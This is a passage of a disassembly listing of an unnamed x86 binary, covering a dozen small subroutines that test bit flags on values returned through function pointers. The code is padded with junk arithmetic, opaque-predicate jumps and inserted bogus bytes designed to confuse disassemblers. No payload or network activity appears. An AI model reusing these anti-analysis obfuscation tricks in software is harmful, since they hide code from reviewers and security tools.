ecx inc dh inc dh dec edi inc dh dec edi inc dh jo short loc_49CED3 jl short loc_49CED1 loc_49CECE: ; CODE XREF: sub_49CE90:loc_49CED1j jmp short loc_49CED5 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49CED1: ; CODE XREF: sub_49CE90+3Cj jz short loc_49CECE loc_49CED3: ; CODE XREF: sub_49CE90+3Aj jmp short near ptr loc_49CF27+1 ; --------------------------------------------------------------------------- loc_49CED5: ; CODE XREF: sub_49CE90:loc_49CECEj inc dh push ecx bswap ecx not ecx push eax not eax mov eax, 80h xchg eax, ecx mov ecx, 41h xchg eax, ecx not eax pop eax dec edi not ecx pop ecx inc dh dec edi inc dh and ebx, 800h inc dh dec edi inc dh dec edi inc dh dec edi inc dh dec edi and ebx, 10h inc dh inc dh jo short loc_49CF19 jl short loc_49CF17 loc_49CF14: ; CODE XREF: sub_49CE90:loc_49CF17j jmp short loc_49CF1B ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49CF17: ; CODE XREF: sub_49CE90+82j jz short loc_49CF14 loc_49CF19: ; CODE XREF: sub_49CE90+80j jmp short near ptr loc_49CF75+1 ; --------------------------------------------------------------------------- loc_49CF1B: ; CODE XREF: sub_49CE90:loc_49CF14j sub dh, 0Dh dec dh and ah, dh mov dl, 5 sub dl, 0FFh loc_49CF27: ; CODE XREF: sub_49CE90:loc_49CED3j dec dl dec edi dec dl dec dl dec edi sub dl, 0FFh dec dl dec dl dec dl and al, dl pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3B4 xor ecx, dword_4ED3B8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49CF5E mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49CF5E: ; CODE XREF: sub_49CE90+C3j mov eax, [ebp+var_8] push eax call off_4F1D0C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49CE90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49CF72 proc near ; DATA XREF: sub_4965D8+1587o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp loc_49CF75: ; CODE XREF: sub_49CE90:loc_49CF19j sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D98 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 dec dh dec dh and ah, dh mov dl, 0Eh sub dl, 0FFh jo short loc_49CFA5 jl short loc_49CFA3 loc_49CFA0: ; CODE XREF: sub_49CF72:loc_49CFA3j ; sub_49CF72:loc_49CFA5j jmp short loc_49CFA7 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49CFA3: ; CODE XREF: sub_49CF72+2Cj jz short loc_49CFA0 loc_49CFA5: ; CODE XREF: sub_49CF72+2Aj jmp short loc_49CFA0 ; --------------------------------------------------------------------------- loc_49CFA7: ; CODE XREF: sub_49CF72:loc_49CFA0j sub dl, 0FFh sub dl, 0FFh sub dl, 0Ah sub dl, 0FFh sub dl, 0FFh sub dl, 5 dec dl dec dl dec dl sub dl, 3 sub dl, 0FFh dec dl inc dl inc dl inc dl and al, dl pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3C8 xor ecx, dword_4ED3CC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49CFF8 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49CFF8: ; CODE XREF: sub_49CF72+7Bj mov eax, [ebp+var_8] push eax call off_4F1D20 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49CF72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D00C proc near ; DATA XREF: sub_4965D8+14E8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 410h pop ebx dec bh dec bh sub bh, 0FFh sub bh, 2 dec bh and ah, bh mov bl, 0Eh sub bl, 4 dec bl sub bl, 1 sub bl, 1 sub bl, 1 sub bl, 1 sub bl, 1 and al, bl pop ebx pop edx test eax, eax jz short loc_49D06B not eax add eax, 1 stc jmp short loc_49D071 ; --------------------------------------------------------------------------- loc_49D06B: ; CODE XREF: sub_49D00C+55j not eax add eax, 1 clc loc_49D071: ; CODE XREF: sub_49D00C+5Dj sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49D098 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49D098: ; CODE XREF: sub_49D00C+81j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D00C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D0AC proc near ; DATA XREF: sub_4965D8+1405o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D80 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49D0D1 jl short loc_49D0CF loc_49D0CC: ; CODE XREF: sub_49D0AC:loc_49D0CFj ; sub_49D0AC:loc_49D0D1j jmp short loc_49D0D3 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49D0CF: ; CODE XREF: sub_49D0AC+1Ej jz short loc_49D0CC loc_49D0D1: ; CODE XREF: sub_49D0AC+1Cj jmp short loc_49D0CC ; --------------------------------------------------------------------------- loc_49D0D3: ; CODE XREF: sub_49D0AC:loc_49D0CCj push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_49D127 jl short loc_49D125 loc_49D122: ; CODE XREF: sub_49D0AC:loc_49D125j ; sub_49D0AC:loc_49D127j jmp short loc_49D129 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49D125: ; CODE XREF: sub_49D0AC+74j jz short loc_49D122 loc_49D127: ; CODE XREF: sub_49D0AC+72j jmp short loc_49D122 ; --------------------------------------------------------------------------- loc_49D129: ; CODE XREF: sub_49D0AC:loc_49D122j dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_49D266 mov eax, [ebp+var_4] jo short loc_49D16E jl short loc_49D16C loc_49D169: ; CODE XREF: sub_49D0AC:loc_49D16Cj ; sub_49D0AC:loc_49D16Ej jmp short loc_49D170 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49D16C: ; CODE XREF: sub_49D0AC+BBj jz short loc_49D169 loc_49D16E: ; CODE XREF: sub_49D0AC+B9j jmp short loc_49D169 ; --------------------------------------------------------------------------- loc_49D170: ; CODE XREF: sub_49D0AC:loc_49D169j push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh jo short loc_49D19F jl short loc_49D19D loc_49D19A: ; CODE XREF: sub_49D0AC:loc_49D19Dj ; sub_49D0AC:loc_49D19Fj jmp short loc_49D1A1 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49D19D: ; CODE XREF: sub_49D0AC+ECj jz short loc_49D19A loc_49D19F: ; CODE XREF: sub_49D0AC+EAj jmp short loc_49D19A ; --------------------------------------------------------------------------- loc_49D1A1: ; CODE XREF: sub_49D0AC:loc_49D19Aj mov bl, 0C6h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49D1EE jl short loc_49D1EC loc_49D1E7: ; CODE XREF: sub_49D0AC:loc_49D1ECj ; sub_49D0AC:loc_49D1EEj jmp short loc_49D1F0 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D1EC: ; CODE XREF: sub_49D0AC+139j jz short loc_49D1E7 loc_49D1EE: ; CODE XREF: sub_49D0AC+137j jmp short loc_49D1E7 ; --------------------------------------------------------------------------- loc_49D1F0: ; CODE XREF: sub_49D0AC:loc_49D1E7j sub bl, 5 dec bl push eax dec bl dec bl jo short loc_49D203 jl short loc_49D201 loc_49D1FE: ; CODE XREF: sub_49D0AC:loc_49D201j ; sub_49D0AC:loc_49D203j jmp short loc_49D205 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49D201: ; CODE XREF: sub_49D0AC+150j jz short loc_49D1FE loc_49D203: ; CODE XREF: sub_49D0AC+14Ej jmp short loc_49D1FE ; --------------------------------------------------------------------------- loc_49D205: ; CODE XREF: sub_49D0AC:loc_49D1FEj and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49D239 jl short loc_49D237 loc_49D232: ; CODE XREF: sub_49D0AC:loc_49D237j ; sub_49D0AC:loc_49D239j jmp short loc_49D23B ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D237: ; CODE XREF: sub_49D0AC+184j jz short loc_49D232 loc_49D239: ; CODE XREF: sub_49D0AC+182j jmp short loc_49D232 ; --------------------------------------------------------------------------- loc_49D23B: ; CODE XREF: sub_49D0AC:loc_49D232j inc eax dec eax jo short loc_49D248 jl short loc_49D246 loc_49D241: ; CODE XREF: sub_49D0AC:loc_49D246j ; sub_49D0AC:loc_49D248j jmp short loc_49D24A ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D246: ; CODE XREF: sub_49D0AC+193j jz short loc_49D241 loc_49D248: ; CODE XREF: sub_49D0AC+191j jmp short loc_49D241 ; --------------------------------------------------------------------------- loc_49D24A: ; CODE XREF: sub_49D0AC:loc_49D241j inc eax dec eax inc eax dec eax jo short loc_49D259 jl short loc_49D257 loc_49D252: ; CODE XREF: sub_49D0AC:loc_49D257j ; sub_49D0AC:loc_49D259j jmp short loc_49D25B ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D257: ; CODE XREF: sub_49D0AC+1A4j jz short loc_49D252 loc_49D259: ; CODE XREF: sub_49D0AC+1A2j jmp short loc_49D252 ; --------------------------------------------------------------------------- loc_49D25B: ; CODE XREF: sub_49D0AC:loc_49D252j inc eax pop ecx cmp ecx, eax jnz short loc_49D266 and eax, 0 jmp short loc_49D26A ; --------------------------------------------------------------------------- loc_49D266: ; CODE XREF: sub_49D0AC+B0j ; sub_49D0AC+1B3j and eax, 0 inc eax loc_49D26A: ; CODE XREF: sub_49D0AC+1B8j mov [ebp+var_C], eax mov ecx, dword_4ED3B0 xor ecx, dword_4ED3B4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49D28D mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49D28D: ; CODE XREF: sub_49D0AC+1D6j mov eax, [ebp+var_8] push eax call off_4F1D08 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D0AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D2A1 proc near ; DATA XREF: sub_4965D8+19Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49D2C6 jl short loc_49D2C4 loc_49D2C1: ; CODE XREF: sub_49D2A1:loc_49D2C4j ; sub_49D2A1:loc_49D2C6j jmp short loc_49D2C8 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49D2C4: ; CODE XREF: sub_49D2A1+1Ej jz short loc_49D2C1 loc_49D2C6: ; CODE XREF: sub_49D2A1+1Cj jmp short loc_49D2C1 ; --------------------------------------------------------------------------- loc_49D2C8: ; CODE XREF: sub_49D2A1:loc_49D2C1j push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh jo short loc_49D2F7 jl short loc_49D2F5 loc_49D2F2: ; CODE XREF: sub_49D2A1:loc_49D2F5j ; sub_49D2A1:loc_49D2F7j jmp short loc_49D2F9 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49D2F5: ; CODE XREF: sub_49D2A1+4Fj jz short loc_49D2F2 loc_49D2F7: ; CODE XREF: sub_49D2A1+4Dj jmp short loc_49D2F2 ; --------------------------------------------------------------------------- loc_49D2F9: ; CODE XREF: sub_49D2A1:loc_49D2F2j mov bl, 0C6h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3E8 xor ecx, dword_4ED3EC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49D34C mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49D34C: ; CODE XREF: sub_49D2A1+A0j mov eax, [ebp+var_8] push eax call off_4F1D40 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D2A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D360 proc near ; DATA XREF: sub_4965D8+B9Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DEC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_49D389 ; --------------------------------------------------------------------------- mov ebx, 80h loc_49D389: ; CODE XREF: sub_49D360+22j mov ebx, 6Eh not ebx bswap eax not ebx inc ebx inc ebx dec ebx inc ebx inc ebx inc ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 5 add ebx, ecx pop ecx bswap eax jo short loc_49D3B4 jl short loc_49D3B2 loc_49D3AF: ; CODE XREF: sub_49D360:loc_49D3B2j ; sub_49D360:loc_49D3B4j jmp short loc_49D3B6 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49D3B2: ; CODE XREF: sub_49D360+4Dj jz short loc_49D3AF loc_49D3B4: ; CODE XREF: sub_49D360+4Bj jmp short loc_49D3AF ; --------------------------------------------------------------------------- loc_49D3B6: ; CODE XREF: sub_49D360:loc_49D3AFj and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0C00h dec dh dec dh dec dh sub dh, 0FFh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx jo short loc_49D3EC jl short loc_49D3EA loc_49D3E7: ; CODE XREF: sub_49D360:loc_49D3EAj ; sub_49D360:loc_49D3ECj jmp short loc_49D3EE ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49D3EA: ; CODE XREF: sub_49D360+85j jz short loc_49D3E7 loc_49D3EC: ; CODE XREF: sub_49D360+83j jmp short loc_49D3E7 ; --------------------------------------------------------------------------- loc_49D3EE: ; CODE XREF: sub_49D360:loc_49D3E7j jnz short loc_49D400 jo short loc_49D3F9 jl short loc_49D3F7 loc_49D3F4: ; CODE XREF: sub_49D360:loc_49D3F7j ; sub_49D360:loc_49D3F9j jmp short loc_49D3FB ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49D3F7: ; CODE XREF: sub_49D360+92j jz short loc_49D3F4 loc_49D3F9: ; CODE XREF: sub_49D360+90j jmp short loc_49D3F4 ; --------------------------------------------------------------------------- loc_49D3FB: ; CODE XREF: sub_49D360:loc_49D3F4j and eax, 0 jmp short loc_49D40F ; --------------------------------------------------------------------------- loc_49D400: ; CODE XREF: sub_49D360:loc_49D3EEj and eax, 0 jo short loc_49D40C jl short loc_49D40A loc_49D407: ; CODE XREF: sub_49D360:loc_49D40Aj ; sub_49D360:loc_49D40Cj jmp short loc_49D40E ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49D40A: ; CODE XREF: sub_49D360+A5j jz short loc_49D407 loc_49D40C: ; CODE XREF: sub_49D360+A3j jmp short loc_49D407 ; --------------------------------------------------------------------------- loc_49D40E: ; CODE XREF: sub_49D360:loc_49D407j inc eax loc_49D40F: ; CODE XREF: sub_49D360+9Ej mov [ebp+var_C], eax mov ecx, dword_4ED41C xor ecx, dword_4ED420 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49D432 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49D432: ; CODE XREF: sub_49D360+C7j mov eax, [ebp+var_8] push eax call off_4F1D74 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D360 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D446 proc near ; DATA XREF: sub_4965D8+BC9o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0D00h pop ebx sub bh, 3 dec bh dec bh dec bh push eax dec bh dec bh and eax, 40h dec bh sub bh, 3 pop eax dec bh jo short loc_49D495 jl short loc_49D493 loc_49D48E: ; CODE XREF: sub_49D446:loc_49D493j ; sub_49D446:loc_49D495j jmp short loc_49D497 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D493: ; CODE XREF: sub_49D446+46j jz short loc_49D48E loc_49D495: ; CODE XREF: sub_49D446+44j jmp short loc_49D48E ; --------------------------------------------------------------------------- loc_49D497: ; CODE XREF: sub_49D446:loc_49D48Ej and ah, bh mov edx, 26h dec dl dec dl sub dl, 3 dec dl sub dl, 17h dec dl dec dl dec dl dec dl dec dl jo short loc_49D4BF jl short loc_49D4BD loc_49D4B8: ; CODE XREF: sub_49D446:loc_49D4BDj ; sub_49D446:loc_49D4BFj jmp short loc_49D4C1 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D4BD: ; CODE XREF: sub_49D446+70j jz short loc_49D4B8 loc_49D4BF: ; CODE XREF: sub_49D446+6Ej jmp short loc_49D4B8 ; --------------------------------------------------------------------------- loc_49D4C1: ; CODE XREF: sub_49D446:loc_49D4B8j and al, dl pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3D4 xor ecx, dword_4ED3D8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49D4EE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49D4EE: ; CODE XREF: sub_49D446+9Dj mov eax, [ebp+var_8] push eax call off_4F1D2C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D446 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D502 proc near ; DATA XREF: sub_4965D8+5C4o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, [ebp+arg_4] mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 7 dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah sub bl, 20h not bx bswap eax not bx bswap eax and al, bl mov eax, eax test eax, eax jnz loc_49D620 pop ebx pop edx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Dh pop ebx jo short loc_49D5E5 jl short loc_49D5E3 loc_49D5DE: ; CODE XREF: sub_49D502:loc_49D5E3j ; sub_49D502:loc_49D5E5j jmp short loc_49D5E7 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D5E3: ; CODE XREF: sub_49D502+DAj jz short loc_49D5DE loc_49D5E5: ; CODE XREF: sub_49D502+D8j jmp short loc_49D5DE ; --------------------------------------------------------------------------- loc_49D5E7: ; CODE XREF: sub_49D502:loc_49D5DEj sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 3 pop eax dec bl and al, bl mov edx, 2500h dec dh sub dh, 3 dec dh sub dh, 18h and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax pop ecx cmp ecx, eax jnz short loc_49D620 and eax, 0 jmp short loc_49D624 ; --------------------------------------------------------------------------- loc_49D620: ; CODE XREF: sub_49D502+6Aj ; sub_49D502+117j and eax, 0 inc eax loc_49D624: ; CODE XREF: sub_49D502+11Cj mov [ebp+var_C], eax mov ecx, dword_4ED3E8 xor ecx, dword_4ED3EC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49D647 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49D647: ; CODE XREF: sub_49D502+13Aj mov eax, [ebp+var_8] push eax call off_4F1D40 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D502 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D65B proc near ; DATA XREF: sub_4965D8+A75o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 4 dec bh dec bh dec bh dec bh and eax, 80h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl pop ebx pop edx test eax, eax jnz loc_49D77F mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 1 dec bh and eax, 41h bswap ecx pop eax bswap ecx and ah, bh mov bl, 97h dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49D720 jl short loc_49D71E loc_49D719: ; CODE XREF: sub_49D65B:loc_49D71Ej ; sub_49D65B:loc_49D720j jmp short loc_49D722 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D71E: ; CODE XREF: sub_49D65B+BCj jz short loc_49D719 loc_49D720: ; CODE XREF: sub_49D65B+BAj jmp short loc_49D719 ; --------------------------------------------------------------------------- loc_49D722: ; CODE XREF: sub_49D65B:loc_49D719j sub bl, 5 dec bl push eax dec bl dec bl and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49D760 jl short loc_49D75E loc_49D759: ; CODE XREF: sub_49D65B:loc_49D75Ej ; sub_49D65B:loc_49D760j jmp short loc_49D762 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D75E: ; CODE XREF: sub_49D65B+FCj jz short loc_49D759 loc_49D760: ; CODE XREF: sub_49D65B+FAj jmp short loc_49D759 ; --------------------------------------------------------------------------- loc_49D762: ; CODE XREF: sub_49D65B:loc_49D759j inc eax dec eax inc eax dec eax inc eax dec eax jo short loc_49D771 jl short loc_49D76F loc_49D76C: ; CODE XREF: sub_49D65B:loc_49D76Fj ; sub_49D65B:loc_49D771j jmp short loc_49D773 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49D76F: ; CODE XREF: sub_49D65B+10Fj jz short loc_49D76C loc_49D771: ; CODE XREF: sub_49D65B+10Dj jmp short loc_49D76C ; --------------------------------------------------------------------------- loc_49D773: ; CODE XREF: sub_49D65B:loc_49D76Cj inc eax pop ecx cmp ecx, eax jnz short loc_49D77F and eax, 0 inc eax jmp short loc_49D782 ; --------------------------------------------------------------------------- loc_49D77F: ; CODE XREF: sub_49D65B+67j ; sub_49D65B+11Cj and eax, 0 loc_49D782: ; CODE XREF: sub_49D65B+122j mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49D7A5 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49D7A5: ; CODE XREF: sub_49D65B+13Fj mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D65B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D7B9 proc near ; DATA XREF: sub_4965D8+10BFo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx mov ebx, 0FFFFh and eax, 800h push ecx mov ch, 41h sub ch, 1 sub ch, 10h dec ch dec ch push ebx dec ch dec ch dec ch dec ch dec ch mov ebx, [ebp+arg_4] dec ch dec ch dec ch inc bl dec ch dec ch dec ch dec ch inc bl dec ch dec ch dec ch sub bl, 0Ah dec ch sub ch, 4 dec ch pop ebx sub ch, 3 dec ch mov ebx, [ebp+arg_4] dec esi dec edi dec edi mov edx, 4 dec edx dec edx sub edx, 2 or ebx, edx jz short loc_49D82D dec edi and eax, 0 jmp short loc_49D835 ; --------------------------------------------------------------------------- loc_49D82D: ; CODE XREF: sub_49D7B9+6Cj dec edi dec ecx and eax, 0 dec ecx dec edx inc eax loc_49D835: ; CODE XREF: sub_49D7B9+72j mov [ebp+var_8], eax mov eax, dword_4ED3B4 xor eax, dword_4ED3B8 shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_49D857 mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_49D857: ; CODE XREF: sub_49D7B9+93j mov edx, [ebp+var_4] push edx call off_4F1D0C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49D7B9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49D86B proc near ; DATA XREF: sub_4965D8+597o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DDC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 2 jo short loc_49D89D jl short loc_49D89B loc_49D896: ; CODE XREF: sub_49D86B:loc_49D89Bj ; sub_49D86B:loc_49D89Dj jmp short loc_49D89F ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49D89B: ; CODE XREF: sub_49D86B+29j jz short loc_49D896 loc_49D89D: ; CODE XREF: sub_49D86B+27j jmp short loc_49D896 ; --------------------------------------------------------------------------- loc_49D89F: ; CODE XREF: 